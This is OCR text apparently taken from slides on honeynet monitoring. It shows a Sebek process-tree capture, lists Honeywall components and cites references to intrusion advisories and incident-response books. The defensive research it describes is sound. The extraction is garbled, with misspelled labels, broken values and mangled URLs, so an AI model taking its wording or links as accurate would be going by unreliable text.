“Wiew Process Tree for thiz Process:

Wiew Details for thiz Procezs:

Process_Tree

wed Jun 15 10
T
as admin

Logged in

386 2 387 4
Host | 192.168.1.10 Host|  192.168.1.10
FID: | 8639 FID: | 2640
sshd sshd
388 7
Host:|  192.168.1.10
FID: | B 1
/ hash sshd
4199 420 10 421 11 422 12
Host: 192.168.1.10 Host: 192.168.1.10 Host: 192.168.1.10 Host: 192.168.1.10
FID: 8675 FID: 5676 FID: 8677 FID: 8678
w date = cat
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HoneywallGen 1 CDROM
CDROM

Web

Sebek 3.x ( Sebek
Snort-Inline

Iptables

Syslog

TCPDump

Honeywall
http:/ /www.honeynet.org/tools/cdrom/

URL ( )
http://www.voqgue.is.uec.ac.jp/honeynet/roo/maintain.html
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SSH

IPS
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Windows

IPS
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v’Kevin Mandia/Chris Prosise
v Cris McNab

vITmedia Blog
http://www.itmedia.co.jp/enterprise/articles/0502/03/news015.html

v'Awstats Vulerability Leads To Linux Rootkit Post
http://www.mnin.org/forums/viewtopic.php?t=113

vITPro Windows “ 7
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20050613/162642/
vITPro Windows
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20050815/166378/

v'Zeroboard 'zero vote' Include File Bug Lets Remote Users Execute Arbitray Commands
http://www.securitytracker.com/alerts/2005/Jan/1012812.html

v'Honeynet

http://www.vogue.is.uec.ac.jp/Zhoneynet/roo/maintain.html
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Ahead of the threat.
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